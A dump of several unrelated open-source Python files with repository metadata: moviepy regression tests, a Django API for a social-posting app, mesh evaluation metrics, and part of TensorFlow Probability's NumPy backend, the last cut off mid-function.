""" Tests meant to be run with pytest """ import sys import os import pytest from moviepy.editor import * from moviepy.video.tools.interpolators import Trajectory import sys sys.path.append("tests") import download_media from test_helper import PYTHON_VERSION, TMP_DIR, TRAVIS def test_download_media(capsys): with capsys.disabled(): download_media.download() def test_PR_306(): if TRAVIS: return #put this back in once we get ImageMagick working on travis-ci assert TextClip.list('font') != [] assert TextClip.list('color') != [] with pytest.raises(Exception, message="Expecting Exception"): TextClip.list('blah') def test_PR_339(): if TRAVIS: return #in caption mode overlay = TextClip(txt='foo', color='white', font="Liberation-Mono", size=(640, 480), method='caption', align='center', fontsize=25) #in_label_mode overlay = TextClip(txt='foo', font="Liberation-Mono", method='label') def test_PR_373(): result = Trajectory.load_list("media/traj.txt") Trajectory.save_list(result, os.path.join(TMP_DIR, "traj1.txt")) result1 = Trajectory.load_list(os.path.join(TMP_DIR,"traj1.txt")) assert len(result[0].tt) == len(result1[0].tt) for i in range(len(result[0].tt)): assert result[0].tt[i] == result1[0].tt[i] assert len(result[0].xx) == len(result1[0].xx) for i in range(len(result[0].xx)): assert result[0].xx[i] == result1[0].xx[i] assert len(result[0].yy) == len(result1[0].yy) for i in range(len(result[0].yy)): assert result[0].yy[i] == result1[0].yy[i] def test_PR_424(): # Recommended use clip = ColorClip([1000, 600], color=(60, 60, 60), duration=10) # Uses `col` so should work the same as above, but give warning clip = ColorClip([1000, 600], col=(60, 60, 60), duration=10) # Should give 2 warnings and use `color`, not `col` clip = ColorClip([1000, 600], color=(60, 60, 60), duration=10, col=(2,2,2)) def test_PR_458(): clip = ColorClip([1000, 600], color=(60, 60, 60), duration=10) clip.write_videofile(os.path.join(TMP_DIR, "test.mp4"), progress_bar=False, fps=30) def test_PR_515(): # Won't actually work until video is in download_media clip = VideoFileClip("media/fire2.mp4", fps_source='tbr') assert clip.fps == 90000 clip = VideoFileClip("media/fire2.mp4", fps_source='fps') assert clip.fps == 10.51 def test_PR_529(): video_clip = VideoFileClip("media/fire2.mp4") assert video_clip.rotation ==180 if __name__ == '__main__': pytest.main()

27.77551

79

0.630051

import sys import os import pytest from moviepy.editor import * from moviepy.video.tools.interpolators import Trajectory import sys sys.path.append("tests") import download_media from test_helper import PYTHON_VERSION, TMP_DIR, TRAVIS def test_download_media(capsys): with capsys.disabled(): download_media.download() def test_PR_306(): if TRAVIS: return assert TextClip.list('font') != [] assert TextClip.list('color') != [] with pytest.raises(Exception, message="Expecting Exception"): TextClip.list('blah') def test_PR_339(): if TRAVIS: return overlay = TextClip(txt='foo', color='white', font="Liberation-Mono", size=(640, 480), method='caption', align='center', fontsize=25) overlay = TextClip(txt='foo', font="Liberation-Mono", method='label') def test_PR_373(): result = Trajectory.load_list("media/traj.txt") Trajectory.save_list(result, os.path.join(TMP_DIR, "traj1.txt")) result1 = Trajectory.load_list(os.path.join(TMP_DIR,"traj1.txt")) assert len(result[0].tt) == len(result1[0].tt) for i in range(len(result[0].tt)): assert result[0].tt[i] == result1[0].tt[i] assert len(result[0].xx) == len(result1[0].xx) for i in range(len(result[0].xx)): assert result[0].xx[i] == result1[0].xx[i] assert len(result[0].yy) == len(result1[0].yy) for i in range(len(result[0].yy)): assert result[0].yy[i] == result1[0].yy[i] def test_PR_424(): clip = ColorClip([1000, 600], color=(60, 60, 60), duration=10) clip = ColorClip([1000, 600], col=(60, 60, 60), duration=10) clip = ColorClip([1000, 600], color=(60, 60, 60), duration=10, col=(2,2,2)) def test_PR_458(): clip = ColorClip([1000, 600], color=(60, 60, 60), duration=10) clip.write_videofile(os.path.join(TMP_DIR, "test.mp4"), progress_bar=False, fps=30) def test_PR_515(): clip = VideoFileClip("media/fire2.mp4", fps_source='tbr') assert clip.fps == 90000 clip = VideoFileClip("media/fire2.mp4", fps_source='fps') assert clip.fps == 10.51 def test_PR_529(): video_clip = VideoFileClip("media/fire2.mp4") assert video_clip.rotation ==180 if __name__ == '__main__': pytest.main()

true

790c65e13683bf49316ebe0a262eadf6d21d4058

5,280

py

Python

apps/vit/api.py

Visualway/Vitary

c7db9a25837fa7390b2177b9db48e73c6f1ab3c8

[ "BSD-3-Clause" ]

4

2021-12-24T16:07:44.000Z

2022-03-04T02:30:20.000Z

apps/vit/api.py

Visualway/Vitary

c7db9a25837fa7390b2177b9db48e73c6f1ab3c8

[ "BSD-3-Clause" ]

4

2021-12-30T13:32:56.000Z

2022-03-15T03:58:48.000Z

apps/vit/api.py

Visualway/Vitary

c7db9a25837fa7390b2177b9db48e73c6f1ab3c8

[ "BSD-3-Clause" ]

null

import json import re from django.http import JsonResponse from django.db.models import Q from django.urls import reverse from django.views.decorators.csrf import csrf_exempt from apps.vit.models import Vit from apps.notification.utilities import notify from apps.vit.utilities import find_mention, find_plustag from .forms import VitForm from apps.develop.backends import KeyBackend def like(request): user = KeyBackend().authenticate(request) if request.user.is_authenticated: try: vit = Vit.objects.get(id=request.GET.get('vit_pk')) if vit.likes.filter(id=request.user.id).exists(): vit.likes.remove(request.user) vit.like_count -= 1 vit.save() return JsonResponse({'status': 'success', 'likes': vit.likes.count(), 'liked': False}, status=200) else: vit.likes.add(request.user) vit.like_count += 1 vit.save() if vit.user != request.user: notify(message=f"{request.user.username.title()} liked your Vit - '{vit.body}'", notification_type="like", to_user=vit.user, by_user=request.user, link=reverse('vit_detail', kwargs={'pk': vit.id})) return JsonResponse({'status': 'success', 'likes': vit.likes.count(), 'liked': True}, status=200) except Vit.DoesNotExist: return JsonResponse({'error': 'Vit not found'}, status=404) else: return JsonResponse({'error': 'You must be logged in'}, status=401) def get_vits(request): user = KeyBackend().authenticate(request) if request.user.is_authenticated: vits = Vit.objects.filter(Q(user=request.user) | Q( user__profile__in=request.user.profile.follows.all()) | Q(user__profile__in=request.user.profile.followed_by.all())).order_by('-date') return JsonResponse({'vits': [vit.to_json() for vit in vits]}) else: return JsonResponse({'error': 'You must be logged in'}, status=401) def get_vit(request, id): user = KeyBackend().authenticate(request) if request.user.is_authenticated: try: vit = Vit.objects.get(id=id) return JsonResponse({'vit': vit.to_json()}, status=200) except: return JsonResponse({'error': 'Vit not found'}, status=404) else: return JsonResponse({'error': 'You must be logged in'}, status=401) @csrf_exempt def add_vit(request): """ Add a new vit with API, currently image and video are not supported """ user = KeyBackend().authenticate(request) if request.method == "POST": if request.user.is_authenticated: form = VitForm(request.POST) if form.is_valid(): vit = form.save(commit=False) vit.user = request.user vit.save() return JsonResponse({'status': 'success', 'vit': vit.to_json()}, status=201) else: return JsonResponse({'error': 'No vit body provided'}, status=400) else: return JsonResponse({'error': 'You must be logged in'}, status=401) else: return JsonResponse({'error': 'Invalid request'}, status=400) @csrf_exempt def edit_vit(request): """ Edit a vit with API """ user = KeyBackend().authenticate(request) if request.method == "POST": if request.user.is_authenticated: try: vit = Vit.objects.get(id=request.POST.get('vit_pk')) if vit.user == request.user: form = VitForm(request.POST, instance=vit) if form.is_valid(): vit = form.save(commit=False) vit.save() return JsonResponse({'status': 'success', 'vit': vit.to_json()}, status=201) else: return JsonResponse({'error': 'No vit body provided'}, status=400) else: return JsonResponse({'error': 'You do not have permission to edit this vit'}, status=403) except Vit.DoesNotExist: return JsonResponse({'error': 'Vit not found'}, status=404) else: return JsonResponse({'error': 'You must be logged in'}, status=401) else: return JsonResponse({'error': 'Invalid request'}, status=400) @csrf_exempt def delete_vit(request): """ Delete a vit with API """ user = KeyBackend().authenticate(request) if request.method == "POST": if request.user.is_authenticated: try: vit = Vit.objects.get(id=request.POST.get('vit_pk')) if vit.user == request.user: vit.delete() return JsonResponse({'status': 'success'}, status=200) else: return JsonResponse({'error': 'You do not have permission to delete this vit'}, status=403) except Vit.DoesNotExist: return JsonResponse({'error': 'Vit not found'}, status=404) else: return JsonResponse({'error': 'You must be logged in'}, status=401) else: return JsonResponse({'error': 'Invalid request'}, status=400)

39.111111

146

0.586174

import json import re from django.http import JsonResponse from django.db.models import Q from django.urls import reverse from django.views.decorators.csrf import csrf_exempt from apps.vit.models import Vit from apps.notification.utilities import notify from apps.vit.utilities import find_mention, find_plustag from .forms import VitForm from apps.develop.backends import KeyBackend def like(request): user = KeyBackend().authenticate(request) if request.user.is_authenticated: try: vit = Vit.objects.get(id=request.GET.get('vit_pk')) if vit.likes.filter(id=request.user.id).exists(): vit.likes.remove(request.user) vit.like_count -= 1 vit.save() return JsonResponse({'status': 'success', 'likes': vit.likes.count(), 'liked': False}, status=200) else: vit.likes.add(request.user) vit.like_count += 1 vit.save() if vit.user != request.user: notify(message=f"{request.user.username.title()} liked your Vit - '{vit.body}'", notification_type="like", to_user=vit.user, by_user=request.user, link=reverse('vit_detail', kwargs={'pk': vit.id})) return JsonResponse({'status': 'success', 'likes': vit.likes.count(), 'liked': True}, status=200) except Vit.DoesNotExist: return JsonResponse({'error': 'Vit not found'}, status=404) else: return JsonResponse({'error': 'You must be logged in'}, status=401) def get_vits(request): user = KeyBackend().authenticate(request) if request.user.is_authenticated: vits = Vit.objects.filter(Q(user=request.user) | Q( user__profile__in=request.user.profile.follows.all()) | Q(user__profile__in=request.user.profile.followed_by.all())).order_by('-date') return JsonResponse({'vits': [vit.to_json() for vit in vits]}) else: return JsonResponse({'error': 'You must be logged in'}, status=401) def get_vit(request, id): user = KeyBackend().authenticate(request) if request.user.is_authenticated: try: vit = Vit.objects.get(id=id) return JsonResponse({'vit': vit.to_json()}, status=200) except: return JsonResponse({'error': 'Vit not found'}, status=404) else: return JsonResponse({'error': 'You must be logged in'}, status=401) @csrf_exempt def add_vit(request): user = KeyBackend().authenticate(request) if request.method == "POST": if request.user.is_authenticated: form = VitForm(request.POST) if form.is_valid(): vit = form.save(commit=False) vit.user = request.user vit.save() return JsonResponse({'status': 'success', 'vit': vit.to_json()}, status=201) else: return JsonResponse({'error': 'No vit body provided'}, status=400) else: return JsonResponse({'error': 'You must be logged in'}, status=401) else: return JsonResponse({'error': 'Invalid request'}, status=400) @csrf_exempt def edit_vit(request): user = KeyBackend().authenticate(request) if request.method == "POST": if request.user.is_authenticated: try: vit = Vit.objects.get(id=request.POST.get('vit_pk')) if vit.user == request.user: form = VitForm(request.POST, instance=vit) if form.is_valid(): vit = form.save(commit=False) vit.save() return JsonResponse({'status': 'success', 'vit': vit.to_json()}, status=201) else: return JsonResponse({'error': 'No vit body provided'}, status=400) else: return JsonResponse({'error': 'You do not have permission to edit this vit'}, status=403) except Vit.DoesNotExist: return JsonResponse({'error': 'Vit not found'}, status=404) else: return JsonResponse({'error': 'You must be logged in'}, status=401) else: return JsonResponse({'error': 'Invalid request'}, status=400) @csrf_exempt def delete_vit(request): user = KeyBackend().authenticate(request) if request.method == "POST": if request.user.is_authenticated: try: vit = Vit.objects.get(id=request.POST.get('vit_pk')) if vit.user == request.user: vit.delete() return JsonResponse({'status': 'success'}, status=200) else: return JsonResponse({'error': 'You do not have permission to delete this vit'}, status=403) except Vit.DoesNotExist: return JsonResponse({'error': 'Vit not found'}, status=404) else: return JsonResponse({'error': 'You must be logged in'}, status=401) else: return JsonResponse({'error': 'Invalid request'}, status=400)

true

790c663c396e5ece82b4204d3424a93b2fd0eb35

7,912

py

Python

src/eval.py

hummat/convolutional_occupancy_networks

bb351edff59c196e01aa687943e19fee4ac11077

[ "MIT" ]

null

src/eval.py

hummat/convolutional_occupancy_networks

bb351edff59c196e01aa687943e19fee4ac11077

[ "MIT" ]

null

src/eval.py

hummat/convolutional_occupancy_networks

bb351edff59c196e01aa687943e19fee4ac11077

[ "MIT" ]

null

import logging import numpy as np import trimesh from src.common import compute_iou # from scipy.spatial import cKDTree from src.utils.libkdtree import KDTree from src.utils.libmesh import check_mesh_contains # Maximum values for bounding box [-0.5, 0.5]^3 EMPTY_PCL_DICT = { 'completeness': np.sqrt(3), 'accuracy': np.sqrt(3), 'completeness2': 3, 'accuracy2': 3, 'chamfer': 6, } EMPTY_PCL_DICT_NORMALS = { 'normals completeness': -1., 'normals accuracy': -1., 'normals': -1., } logger = logging.getLogger(__name__) class MeshEvaluator(object): """ Mesh evaluation class. It handles the mesh evaluation process. Args: n_points (int): number of points to be used for evaluation """ def __init__(self, n_points=100000): self.n_points = n_points def eval_mesh(self, mesh, pointcloud_tgt, normals_tgt, points_iou, occ_tgt, remove_wall=False): """ Evaluates a mesh. Args: mesh (trimesh): mesh which should be evaluated pointcloud_tgt (numpy array): target point cloud normals_tgt (numpy array): target normals points_iou (numpy_array): points tensor for IoU evaluation occ_tgt (numpy_array): GT occupancy values for IoU points """ if len(mesh.vertices) != 0 and len(mesh.faces) != 0: if remove_wall: # ! Remove walls and floors pointcloud, idx = mesh.sample(2 * self.n_points, return_index=True) eps = 0.007 x_max, x_min = pointcloud_tgt[:, 0].max(), pointcloud_tgt[:, 0].min() y_max, y_min = pointcloud_tgt[:, 1].max(), pointcloud_tgt[:, 1].min() z_max, z_min = pointcloud_tgt[:, 2].max(), pointcloud_tgt[:, 2].min() # add small offsets x_max, x_min = x_max + eps, x_min - eps y_max, y_min = y_max + eps, y_min - eps z_max, z_min = z_max + eps, z_min - eps mask_x = (pointcloud[:, 0] <= x_max) & (pointcloud[:, 0] >= x_min) mask_y = (pointcloud[:, 1] >= y_min) # floor mask_z = (pointcloud[:, 2] <= z_max) & (pointcloud[:, 2] >= z_min) mask = mask_x & mask_y & mask_z pointcloud_new = pointcloud[mask] # Subsample idx_new = np.random.randint(pointcloud_new.shape[0], size=self.n_points) pointcloud = pointcloud_new[idx_new] idx = idx[mask][idx_new] else: pointcloud, idx = mesh.sample(self.n_points, return_index=True) pointcloud = pointcloud.astype(np.float32) normals = mesh.face_normals[idx] else: pointcloud = np.empty((0, 3)) normals = np.empty((0, 3)) out_dict = self.eval_pointcloud(pointcloud, pointcloud_tgt, normals, normals_tgt) if len(mesh.vertices) != 0 and len(mesh.faces) != 0: occ = check_mesh_contains(mesh, points_iou) if occ_tgt.min() < 0: occ_tgt = (occ_tgt <= 0).astype(np.float32) out_dict['iou'] = compute_iou(occ, occ_tgt) else: out_dict['iou'] = 0. return out_dict @staticmethod def eval_pointcloud(pointcloud, pointcloud_tgt, normals=None, normals_tgt=None, thresholds=np.linspace(1. / 1000, 1, 1000)): """ Evaluates a point cloud. Args: pointcloud (numpy array): predicted point cloud pointcloud_tgt (numpy array): target point cloud normals (numpy array): predicted normals normals_tgt (numpy array): target normals thresholds (numpy array): threshold values for the F-score calculation """ # Return maximum losses if pointcloud is empty if pointcloud.shape[0] == 0: logger.warning('Empty pointcloud / mesh detected!') out_dict = EMPTY_PCL_DICT.copy() if normals is not None and normals_tgt is not None: out_dict.update(EMPTY_PCL_DICT_NORMALS) return out_dict pointcloud = np.asarray(pointcloud) pointcloud_tgt = np.asarray(pointcloud_tgt) # Completeness: how far are the points of the target point cloud from the predicted point cloud completeness, completeness_normals = distance_p2p(pointcloud_tgt, normals_tgt, pointcloud, normals) recall = get_threshold_percentage(completeness, thresholds) completeness2 = completeness ** 2 completeness = completeness.mean() completeness2 = completeness2.mean() completeness_normals = completeness_normals.mean() # Accuracy: how far are the points of the predicted pointcloud from the target pointcloud accuracy, accuracy_normals = distance_p2p(pointcloud, normals, pointcloud_tgt, normals_tgt) precision = get_threshold_percentage(accuracy, thresholds) accuracy2 = accuracy ** 2 accuracy = accuracy.mean() accuracy2 = accuracy2.mean() accuracy_normals = accuracy_normals.mean() # Chamfer distance chamferL2 = 0.5 * (completeness2 + accuracy2) normals_correctness = (0.5 * completeness_normals + 0.5 * accuracy_normals) chamferL1 = 0.5 * (completeness + accuracy) # F-Score F = [2 * precision[i] * recall[i] / (precision[i] + recall[i]) for i in range(len(precision))] out_dict = { 'completeness': completeness, 'accuracy': accuracy, 'normals completeness': completeness_normals, 'normals accuracy': accuracy_normals, 'normals': normals_correctness, 'completeness2': completeness2, 'accuracy2': accuracy2, 'chamfer-L2': chamferL2, 'chamfer-L1': chamferL1, 'f-score': F[9], # threshold = 1.0% 'f-score-15': F[14], # threshold = 1.5% 'f-score-20': F[19], # threshold = 2.0% } return out_dict def distance_p2p(points_src, normals_src, points_tgt, normals_tgt): """ Computes minimal distances of each point in points_src to points_tgt. Args: points_src (numpy array): source points normals_src (numpy array): source normals points_tgt (numpy array): target points normals_tgt (numpy array): target normals """ kdtree = KDTree(points_tgt) dist, idx = kdtree.query(points_src) if normals_src is not None and normals_tgt is not None: normals_src = normals_src / np.linalg.norm(normals_src, axis=-1, keepdims=True) normals_tgt = normals_tgt / np.linalg.norm(normals_tgt, axis=-1, keepdims=True) normals_dot_product = (normals_tgt[idx] * normals_src).sum(axis=-1) # Handle normals that point into wrong direction gracefully (mostly due to method not caring about this in generation) normals_dot_product = np.abs(normals_dot_product) else: normals_dot_product = np.array([np.nan] * points_src.shape[0], dtype=np.float32) return dist, normals_dot_product def distance_p2m(points, mesh): """ Compute minimal distances of each point in points to mesh. Args: points (numpy array): points array mesh (trimesh): mesh """ _, dist, _ = trimesh.proximity.closest_point(mesh, points) return dist def get_threshold_percentage(dist, thresholds): """ Evaluates a point cloud. Args: dist (numpy array): calculated distance thresholds (numpy array): threshold values for the F-score calculation """ in_threshold = [(dist <= t).mean() for t in thresholds] return in_threshold

36.293578

126

0.605536

import logging import numpy as np import trimesh from src.common import compute_iou from src.utils.libkdtree import KDTree from src.utils.libmesh import check_mesh_contains EMPTY_PCL_DICT = { 'completeness': np.sqrt(3), 'accuracy': np.sqrt(3), 'completeness2': 3, 'accuracy2': 3, 'chamfer': 6, } EMPTY_PCL_DICT_NORMALS = { 'normals completeness': -1., 'normals accuracy': -1., 'normals': -1., } logger = logging.getLogger(__name__) class MeshEvaluator(object): def __init__(self, n_points=100000): self.n_points = n_points def eval_mesh(self, mesh, pointcloud_tgt, normals_tgt, points_iou, occ_tgt, remove_wall=False): if len(mesh.vertices) != 0 and len(mesh.faces) != 0: if remove_wall: pointcloud, idx = mesh.sample(2 * self.n_points, return_index=True) eps = 0.007 x_max, x_min = pointcloud_tgt[:, 0].max(), pointcloud_tgt[:, 0].min() y_max, y_min = pointcloud_tgt[:, 1].max(), pointcloud_tgt[:, 1].min() z_max, z_min = pointcloud_tgt[:, 2].max(), pointcloud_tgt[:, 2].min() x_max, x_min = x_max + eps, x_min - eps y_max, y_min = y_max + eps, y_min - eps z_max, z_min = z_max + eps, z_min - eps mask_x = (pointcloud[:, 0] <= x_max) & (pointcloud[:, 0] >= x_min) mask_y = (pointcloud[:, 1] >= y_min) mask_z = (pointcloud[:, 2] <= z_max) & (pointcloud[:, 2] >= z_min) mask = mask_x & mask_y & mask_z pointcloud_new = pointcloud[mask] idx_new = np.random.randint(pointcloud_new.shape[0], size=self.n_points) pointcloud = pointcloud_new[idx_new] idx = idx[mask][idx_new] else: pointcloud, idx = mesh.sample(self.n_points, return_index=True) pointcloud = pointcloud.astype(np.float32) normals = mesh.face_normals[idx] else: pointcloud = np.empty((0, 3)) normals = np.empty((0, 3)) out_dict = self.eval_pointcloud(pointcloud, pointcloud_tgt, normals, normals_tgt) if len(mesh.vertices) != 0 and len(mesh.faces) != 0: occ = check_mesh_contains(mesh, points_iou) if occ_tgt.min() < 0: occ_tgt = (occ_tgt <= 0).astype(np.float32) out_dict['iou'] = compute_iou(occ, occ_tgt) else: out_dict['iou'] = 0. return out_dict @staticmethod def eval_pointcloud(pointcloud, pointcloud_tgt, normals=None, normals_tgt=None, thresholds=np.linspace(1. / 1000, 1, 1000)): if pointcloud.shape[0] == 0: logger.warning('Empty pointcloud / mesh detected!') out_dict = EMPTY_PCL_DICT.copy() if normals is not None and normals_tgt is not None: out_dict.update(EMPTY_PCL_DICT_NORMALS) return out_dict pointcloud = np.asarray(pointcloud) pointcloud_tgt = np.asarray(pointcloud_tgt) completeness, completeness_normals = distance_p2p(pointcloud_tgt, normals_tgt, pointcloud, normals) recall = get_threshold_percentage(completeness, thresholds) completeness2 = completeness ** 2 completeness = completeness.mean() completeness2 = completeness2.mean() completeness_normals = completeness_normals.mean() accuracy, accuracy_normals = distance_p2p(pointcloud, normals, pointcloud_tgt, normals_tgt) precision = get_threshold_percentage(accuracy, thresholds) accuracy2 = accuracy ** 2 accuracy = accuracy.mean() accuracy2 = accuracy2.mean() accuracy_normals = accuracy_normals.mean() chamferL2 = 0.5 * (completeness2 + accuracy2) normals_correctness = (0.5 * completeness_normals + 0.5 * accuracy_normals) chamferL1 = 0.5 * (completeness + accuracy) F = [2 * precision[i] * recall[i] / (precision[i] + recall[i]) for i in range(len(precision))] out_dict = { 'completeness': completeness, 'accuracy': accuracy, 'normals completeness': completeness_normals, 'normals accuracy': accuracy_normals, 'normals': normals_correctness, 'completeness2': completeness2, 'accuracy2': accuracy2, 'chamfer-L2': chamferL2, 'chamfer-L1': chamferL1, 'f-score': F[9], 'f-score-15': F[14], 'f-score-20': F[19], } return out_dict def distance_p2p(points_src, normals_src, points_tgt, normals_tgt): kdtree = KDTree(points_tgt) dist, idx = kdtree.query(points_src) if normals_src is not None and normals_tgt is not None: normals_src = normals_src / np.linalg.norm(normals_src, axis=-1, keepdims=True) normals_tgt = normals_tgt / np.linalg.norm(normals_tgt, axis=-1, keepdims=True) normals_dot_product = (normals_tgt[idx] * normals_src).sum(axis=-1) normals_dot_product = np.abs(normals_dot_product) else: normals_dot_product = np.array([np.nan] * points_src.shape[0], dtype=np.float32) return dist, normals_dot_product def distance_p2m(points, mesh): _, dist, _ = trimesh.proximity.closest_point(mesh, points) return dist def get_threshold_percentage(dist, thresholds): in_threshold = [(dist <= t).mean() for t in thresholds] return in_threshold

true

790c66547531536f4bc1eeec53b6e037c55a0e43

14,452

py

Python

tensorflow_probability/python/internal/backend/numpy/numpy_array.py

simeoncarstens/probability

054a720ff9f221dd9660acd7ce7fb38a1dbb1290

[ "Apache-2.0" ]

null

tensorflow_probability/python/internal/backend/numpy/numpy_array.py

simeoncarstens/probability

054a720ff9f221dd9660acd7ce7fb38a1dbb1290

[ "Apache-2.0" ]

2

2021-08-25T16:14:51.000Z

2022-02-10T04:47:11.000Z

tensorflow_probability/python/internal/backend/numpy/numpy_array.py

michalbrys/probability

054a720ff9f221dd9660acd7ce7fb38a1dbb1290

[ "Apache-2.0" ]

null

# Copyright 2018 The TensorFlow Probability Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================ """Numpy implementations of TensorFlow general top-level functions.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import functools # Dependency imports import numpy as np from tensorflow_probability.python.internal.backend.numpy import _utils as utils from tensorflow_probability.python.internal.backend.numpy import ops from tensorflow_probability.python.internal.backend.numpy.linalg_impl import einsum from tensorflow_probability.python.internal.backend.numpy.linalg_impl import norm from tensorflow_probability.python.internal.backend.numpy.linalg_impl import tensordot __all__ = [ 'concat', 'einsum', 'expand_dims', 'fill', 'gather', 'gather_nd', 'linspace', 'meshgrid', 'norm', 'one_hot', 'ones', 'ones_like', 'pad', 'range', 'rank', 'reshape', 'reverse', 'repeat', 'roll', 'searchsorted', 'shape', 'size', 'slice', 'split', 'squeeze', 'stack', 'tensordot', 'tile', 'transpose', 'unstack', 'where', 'zeros', 'zeros_like', # 'boolean_mask', # 'foldl', # 'foldr', ] JAX_MODE = False if JAX_MODE: import jax # pylint: disable=g-import-not-at-top def _astuple(x): try: return tuple(x) except TypeError: return x def _gather( # pylint: disable=unused-argument params, indices, validate_indices=None, axis=None, batch_dims=0, name=None): """gather.""" indices = ops.convert_to_tensor(indices, dtype_hint=np.int32) if validate_indices is not None: raise NotImplementedError( 'Argument `validate_indices != None` is currently unimplemented.') if batch_dims < 0: raise NotImplementedError('Negative `batch_dims` is currently unsupported.') if axis is None: axis = batch_dims if axis < 0: axis = axis + len(params.shape) # NOTE: For only the numpy backend, this function could create a single result # ndarray and use in-place updates. For the Jax backend, this function # vmaps `np.take`. if JAX_MODE: take = lambda params, indices: np.take(params, indices, # pylint: disable=g-long-lambda axis=axis - batch_dims) take = functools.reduce( lambda g, f: f(g), [jax.vmap] * int(batch_dims), take ) return take(params, indices) params = ops.convert_to_tensor(params) res = np.array([ np.take(params[i], indices[i], axis=axis - batch_dims) for i in np.ndindex(*params.shape[:batch_dims]) ]) return np.reshape( res, params.shape[:axis] + indices.shape[batch_dims:] + params.shape[axis+1:]) def _args_to_matching_arrays(args_list, dtype_hint=None): """Converts a list to array using the first element for dtype. This method is used to match the behavior of `tf.concat`. Args: args_list: A list or tuple of arguments. dtype_hint: An optional hint used when converting the args to tensors. Returns: A list of tensors. """ dtype = None for arg in args_list: if ops.is_tensor(arg): dtype = arg.dtype break if dtype is None: ret = [] for arg in args_list: ret.append(ops.convert_to_tensor(arg, dtype, dtype_hint=dtype_hint)) if dtype is None: dtype = ret[-1].dtype else: ret = [ops.convert_to_tensor(arg, dtype) for arg in args_list] return ret def _concat(values, axis, name='concat'): del name if axis is None: raise ValueError('None values for `axis` argument not supported.') if not isinstance(values, (list, tuple)): values = [values] if len(values) == 1: return values[0] values = _args_to_matching_arrays(values) return np.concatenate(values, axis=axis) def _gather_nd_single(params, indices): idx = tuple(np.moveaxis(indices, -1, 0)) return params[idx] def _gather_nd( # pylint: disable=unused-argument params, indices, batch_dims=0, name=None): """gather_nd.""" indices = ops.convert_to_tensor(indices, dtype_hint=np.int32) if batch_dims < 0: raise NotImplementedError('Negative `batch_dims` is currently unsupported.') if not JAX_MODE and batch_dims > 0: raise NotImplementedError( '`batch_dims > 0` currently unsupported in NumPy backend.') gather_nd_ = _gather_nd_single if JAX_MODE: gather_nd_ = functools.reduce( lambda g, f: f(g), [jax.vmap] * int(batch_dims), gather_nd_ ) return gather_nd_(params, indices) def _linspace(start, stop, num, name=None, axis=0): # pylint: disable=unused-argument """Match TF behavior with np.linspace.""" start = ops.convert_to_tensor(start) # Match TF weirdness arising from truediv(int32, int32) = float64 if np.issubdtype(start.dtype, np.integer): start = start.astype(np.float64) stop = ops.convert_to_tensor(stop, dtype=start.dtype) num = ops.convert_to_tensor(num, dtype_hint=np.int32) if not np.issubdtype(num.dtype, np.integer): raise TypeError('`num` must be an integer but got {}'.format(num.dtype)) num = num.astype(np.int32) return np.linspace(start, stop, num, axis=axis).astype(start.dtype) def _one_hot( # pylint: disable=unused-argument indices, depth, on_value=None, off_value=None, axis=None, dtype=None, name=None): """One hot.""" if on_value is None: on_value = 1 if off_value is None: off_value = 0 if dtype is None: dtype = utils.common_dtype([on_value, off_value], np.float32) indices = np.array(indices) depth = np.array(depth) pred = abs(np.arange(depth, dtype=indices.dtype) - indices[..., np.newaxis]) > 0 y_out = np.where(pred, np.array(off_value, dtype), np.array(on_value, dtype)) if axis is not None: y_out = np.moveaxis(y_out, -1, axis) return y_out def _ones_like(input, dtype=None, name=None): # pylint: disable=redefined-builtin,unused-argument return np.ones_like(input, dtype=utils.numpy_dtype(dtype)) # TODO(b/136555907): Add unit-test. def _pad( # pylint: disable=unused-argument tensor, paddings, mode='CONSTANT', constant_values=0, name=None): return np.pad( tensor, paddings, mode=mode.lower(), constant_values=constant_values) def _range(start, limit=None, delta=1, dtype=None, name='range'): # pylint: disable=unused-argument """Emulates tf.range.""" # Emulating dtype inference logic from tf.range dtype = utils.numpy_dtype(dtype) start = ops.convert_to_tensor(start, dtype=dtype) limit = None if limit is None else ops.convert_to_tensor(limit, dtype=dtype) delta = ops.convert_to_tensor(delta, dtype=dtype) if dtype is None: dtype_hierarchy = [np.int32, np.int64, np.float32, np.float64] inferred_dtype = max([arg.dtype for arg in [start, limit, delta] if arg is not None], key=dtype_hierarchy.index) else: inferred_dtype = dtype return np.arange(start, limit, delta).astype(inferred_dtype) def _reverse(tensor, axis, name=None): # pylint: disable=unused-argument if np.array(axis).ndim == 0: return np.flip(tensor, axis) for ax in axis: tensor = np.flip(tensor, ax) return tensor if JAX_MODE: _searchsorted_vmap_sides = { side: jax.vmap(functools.partial(jax.numpy.searchsorted, side=side)) for side in ('left', 'right') } def _searchsorted( # pylint: disable=unused-argument sorted_sequence, values, side='left', out_type=np.int32, name=None): """Find indices for insertion for list to remain sorted.""" if JAX_MODE: try: func = _searchsorted_vmap_sides[side] except KeyError: raise ValueError("'%s' is an invalid value for keyword 'side'" % side) sorted_sequence_2d = np.reshape(sorted_sequence, (-1, sorted_sequence.shape[-1])) values_2d = np.reshape(values, (-1, values.shape[-1])) if sorted_sequence_2d.shape[0] != values_2d.shape[0]: raise ValueError('Leading dim_size of both tensors must match.') return np.reshape(func(sorted_sequence_2d, values_2d).astype(out_type), values.shape) # We don't use np.searchsorted in the numpy backend because it doesn't support # batching. sorted_sequence = sorted_sequence[..., np.newaxis, :] values = values[..., :, np.newaxis] if side == 'left': is_in_right_location = sorted_sequence < values elif side == 'right': is_in_right_location = sorted_sequence <= values return np.sum(is_in_right_location, axis=-1).astype(out_type) def _shape(input, out_type=np.int32, name=None): # pylint: disable=redefined-builtin,unused-argument return ops.convert_to_tensor(ops.convert_to_tensor(input).shape).astype( out_type) def _size(input, out_type=np.int32, name=None): # pylint: disable=redefined-builtin, unused-argument return np.asarray(np.prod(ops.convert_to_tensor(input).shape), dtype=out_type) builtin_slice = slice # pylint: disable=invalid-name def _slice(input_, begin, size, name=None): # pylint: disable=unused-argument,redefined-outer-name slices = tuple( builtin_slice(b, b + s if s != -1 else None) for b, s in zip(begin, size)) return input_[slices] def _split(value, num_or_size_splits, axis=0, num=None, name='split'): # pylint: disable=unused-argument """Map tf.split -> np.split.""" indices_or_sections = np.array(num_or_size_splits) if indices_or_sections.ndim == 1: if any(idx == -1 for idx in indices_or_sections): # Numpy 